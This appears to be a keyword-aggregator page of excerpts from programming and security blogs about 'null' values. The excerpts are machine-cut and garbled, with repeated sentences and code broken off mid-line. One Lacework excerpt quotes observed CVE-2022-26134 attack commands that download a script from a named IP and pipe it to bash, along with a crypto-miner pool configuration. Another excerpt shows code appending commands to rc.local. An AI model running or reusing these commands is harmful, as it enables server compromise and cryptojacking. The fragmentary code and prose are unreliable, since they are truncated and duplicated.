The Daily WTF

JANUARY 31, 2021

Was it the billion dollar mistake of allowing null pointers? Finally, since "knowing how long a string is" might actually be important, the way C-strings address the problems above is that the last character in the string should be a null terminator. Is it the absolute mess that is C memory management?

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The Daily WTF

NOVEMBER 29, 2020

As we all know, managing null values is its own challenge, especially when you're working in a functional style. So as languages like.NET add functional approaches like LINQ extension methods, they also add null coalescing operators and nullable types, making it easy to pass values around without getting surprised by an unexpected null.

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Php,Mysql,Jquery Tutorial And Interview Question

MAY 24, 2022

A variable with no value is represented by null in PHP. The null value of type null is the only one that exists. PHP has a function that determines whether or not a value is null. The post How To Check If Variable Is NULL Using PHP appeared first on Phpflow.com.

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The Daily WTF

SEPTEMBER 3, 2020

"Beyond the realm of Null, past the Black Stump, lies the mythical FILE_NOT_FOUND," writes Chris A. . "I "I know, Zwift, I should have started paying you 50 years ago," Jeff wrote, "But hey, thanks for still giving leeches like me a free ride!" writes, "Must.not.click.forbidden.newsletter!" " . "I'm

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The Daily WTF

APRIL 7, 2020

this == null) return null; // snip }. Now, this is the only return null in this method, and the calling code never actually checks for a null. So it’s probably pretty fortunate that this could never actually be null. So it’s probably pretty fortunate that this could never actually be null.

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Aqua Security

MAY 12, 2019

The vulnerability is due to the ‘root’ user password which is set, by default, to NULL on Alpine Docker images from version 3.3 A new vulnerability that impacts Alpine Docker images was published last week. or higher.

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The Daily WTF

DECEMBER 10, 2019

Nulls cause problems. When you send the C# data to JSON, how do you want to represent null values? When you send the C# data to JSON, how do you want to represent null values? You might just send nulls. You might just leave out the null keys (technically sending undefined). That’s fine and logical.

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The Daily WTF

JULY 10, 2019

SuppressWarning("null") public void uploadData(Payload payload) { // preparation of payload and httpClient //. NonNull HttpResponse response = null; response = httpClient.execute(request); if (response.getStatus() != That’s how Oliver found this. Which, you’ll note, is exactly what happens on the same line.

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The Crazy Programmer

DECEMBER 4, 2022

Sid Name (Not Null) Subject (Not Null) Mobile Address 1 Raj English 65468154 51, Vaishalinagar 2 Jyoti Home Science 87668545 4a, Sukhsagar 3 Vikash Maths 26865948 H7, Civil Lines 1 Harsh Maths Null R32, Gokul Villa 3 Ajay Science 86516529 26, Karoli. Student Personal Details. Let’s take an example: Student Details.

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The Daily WTF

AUGUST 13, 2020

"Honest! If I could give you something that had a 'cat' in it, I would!" " wrote Gordon P. . "You'd "You'd think Outlook would hage told me sooner about these required updates," Carlos writes. . Colin writes, "Asking for a friend, does balsamic olive oil still have to be changed every 3,000 miles?"

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InfoWorld

MARCH 21, 2024

C-string literals in Rust expand to a null-byte terminated string in memory of type & ‘static CStr. This makes it easier to write code that will interoperate with foreign language interfaces that require null-terminated strings. All relevant error-checking, such as for a missing interior null byte, is performed at compile time.

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Research Programming Performance 87

Tenable

MAY 9, 2019

A Hard-Coded NULL root user password vulnerability was found in Alpine Linux Docker Images from December 2015’s 3.3 In November 2015, a bug in Alpine Linux Docker Images was patched to prevent the /etc/shadow file from accepting a NULL password for the root user. version onward. Background.

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The Daily WTF

JULY 6, 2018

"The Eugene (Oregon) Register-Guard knows when it's a slow news day, null happens," Bill T. "12 months for free or a year for not free.so hard to choose!" " writes Paige S. . wrote, "GlobalProtect thinks the current version I have installed is not very good, so why not upgrade by downgrading?" " . "After

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Xebia

NOVEMBER 18, 2022

Enforcing non-null. Luckily compiler plugins can provide the missing feature, most notably RecordBuilder : @RecordBuilder record Customer(UUID id, String name) {} var customer = new Customer(UUID.randomUUID(), "John"); var renamed = customer.withName("John Doe"); Enforcing non-null. Table of Contents. Documentation.

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InnovationM

JUNE 29, 2023

In SQL, the COALESCE() function is a powerful tool used to handle NULL values in queries. The function takes multiple arguments and returns the first non-NULL value. This function is extremely useful when dealing with NULL values in database tables. What are NULL values in SQL? Why use the COALESCE() function in SQL?

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The Crazy Programmer

SEPTEMBER 12, 2022

SID Name (Not Null) Subject (Not Null) Mobile 1 Raj English 65468154 2 Jyoti Home science 87668545 3 Vikash Maths 26865948 1 Raj Maths Null 3 Vikash Science Null. Then we can’t insert that student’s record in the college database as we can’t leave the subject column blank for that student if NULL is not allowed.

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The Daily WTF

JUNE 10, 2019

null && str.Length > 0 ) { return true; } return false; }. But they took it a step farther: notFilled returns true if the string is not null or empty, and false if it is. This didn’t strike her as a good use of an extension method, though, since IsNullOrEmpty is a built in string method, which would do exactly this.

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InnovationM

APRIL 5, 2024

Example: function createUser($username, $email, $age) { } createUser(email: 'user@example.com', username: 'john_doe', age: 25); 6 Nullsafe Operator : This operator was expected to provide a shorthand way of handling null values in a chain of property or method calls, reducing the need for excessive null checks.

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Xebia

MARCH 9, 2023

Depending on if isOnline is true , url will be non-null and vice-versa for address. However, after checking isOnline , both url and address is still null, so we’ll end up with code like this. , val address: Address? This is a common encoding, but can be quite problematic. let(::println) } else { event.address?

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The Crazy Programmer

FEBRUARY 21, 2021

At time of processing the root of each node we swap their left and right child respectively if their children are not null. We also check if the given root of binary tree is null or not. If, we are at a leaf node it does not have any children for which we return null indicating that no swapping is required. if (node == null).

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The Crazy Programmer

FEBRUARY 13, 2021

int data; Node left,right; public Node(int data) { this.data=data; left=null; right=null; } }. /* Class to print the Right view and construct Tree*/ class Tree. null) q.add(curr.left); // Add right child node to queue if (curr.right !=

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Lacework

JUNE 7, 2022

Observed payload commands for CVE-2022-26134: /bin/sh -c wget -q -O - [link] | bash > /dev/null 2>&1 bash -c (curl -s 195.2.79.26/cf.sh||wget Static configurations: "pools": [ { "algo": null, "coin": null, "url": "91[.]217[.]81[.]162:443", cf.sh)|bash.

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The Crazy Programmer

FEBRUARY 18, 2021

Also, no NULL (empty) values are allowed during insertion as it violates the integrity constraint. It allows the possibility of NULL value insertion limited to only one null value insertion. In other words, Unique Key Constraints allow a column to have only one NULL value. Primary Key does not allow NULL value insertion.

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The Daily WTF

OCTOBER 19, 2022

So one of them threw together this table: create table applications ( name varchar ( 20 ) primary key, attribute varchar ( 20 ) not null , listen_port integer not null unique , admin_user varchar ( 20 ) not null. ). This was fine, until one of the users decided they wanted a second admin for an application.

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InfoWorld

MARCH 14, 2024

We’ve discussed many design patterns here including the specification pattern , the unit of work pattern , the null object pattern , the options pattern , the flyweight pattern , the command pattern , the interpreter pattern , and the singleton pattern. They are solutions to recurring problems and complexities in software design.

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The Crazy Programmer

FEBRUARY 14, 2021

int data; Node left,right; public Node(int data) { this.data=data; left=null; right=null; } }. /* Class to print the left view and construct Tree*/ public class Tree. null) q.add(curr.left); // Add right child node to queue if (curr.right !=

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The Daily WTF

MARCH 18, 2024

if ( LOG.isDebugEnabled() ) { try { Integer i = null ; i.doubleValue(); } catch ( NullPointerException e ) { LOG.debug(context.getIdentity().getToken() getToken() + " stopTime:" + instrPoint.getDescription() + " , " + instrPoint.getDepth(), e); } } If we're in debug mode, trigger a null pointer exception, and catch it.

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The Daily WTF

DECEMBER 3, 2023

The real ugly thing is the return value- a -1 if either input string is NULL , but also a -1 from strcmp if sUStr1 < sUstr2. That's arguably a good practice, but it's foiled by using strdup , and _strupr - which are looking for null terminators. They duplicate the input strings, convert them to upper case, and then compare.

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The Daily WTF

JUNE 19, 2023

An eternal problem in programming is "empty strings are basically nulls, right?" " Frequently, when someone hands us "" , we know that represents "no value", and thus is basically null. See, the is_null function is, well, checking for nulls. Well, sometimes. Other times it's not.

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Perficient

SEPTEMBER 7, 2023

null) { label.SetValue(SecondDropListLabel, true); } var value = item.Fields["SecondDropListValue"]; if (value != null) { value.SetValue(SecondDropListValue, true); } var text = item.Fields["SecondDropListText"]; if (text != null) { text.SetValue(SecondDropListText, true); } } } } Step 3: Create a view for binding the Model values.

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Php,Mysql,Jquery Tutorial And Interview Question

JANUARY 4, 2024

The whereNull method helps to filter records based on null values. Laravel provides a clean and readable syntax that allows developers to null-related queries into the table. in this article, We’ll explore Laravel’s whereNull method with examples. it creates a simple query Instead of writing complex SQL queries.

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Datavail

NOVEMBER 29, 2023

postgres@ip-xxx-xx-xx-xx:/usr/lib/postgresql/14/bin$ more partman_test.sq postgres@ip-xxx-xx-xx-xx:/usr/lib/postgresql/14/bin$ more partman_test.sq

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The Daily WTF

DECEMBER 19, 2023

null ) { this.mixedConfig = config; //Inputs var inputs =. null ) { var outputs =. null ) this.serverConfig = config; if (config.GetValue( "outputs" ) != null ) this.clientConfig = config; } } } We open the file as a stream, and then hand it off to a JObject , which handles the parsing for us.

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The Daily WTF

JANUARY 2, 2024

ToNullable ( this string value ) where T : struct { if ( string.IsNullOrEmpty( value )) { return null ; } T? result = null ; try { result = (T) Convert.ChangeType( value , typeof (T)); } catch { } return result; } It's the same method, but this time where the default value is a nulled nullable.

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The Daily WTF

DECEMBER 17, 2023

rc.local > /dev/null 2>&1" ); system( "rm -f /tmp/nprtmp > /dev/null 2>&1" ); system( "echo 'cd /usr/lib/smm9431' >> /etc/rc.d/rc.local" rc.local /etc/rc.local > /dev/null 2>&1" ); system( "chmod 755 /etc/rc.d/rc.local" ko ' >> /etc/rc.d/rc.local"

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The Daily WTF

FEBRUARY 19, 2023

null ) return (a.Equals(b) == false ); else return false ; } This is an overload for the != "Any arbitrary object" would include nulls, so a != null invokes this function. It took a little longer to find the recursive function in their C# code base: public static bool operator !=(MatrixObjectKey

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The Daily WTF

NOVEMBER 13, 2023

Whether they are, or not, or whether the user variable is null, or not, we do the same thing in every case: set a login_url value. Adam 's co-worker took a different approach. Adam is on "code maintenance" duties, and is afraid that he'll have plenty of maintenance work going forward.

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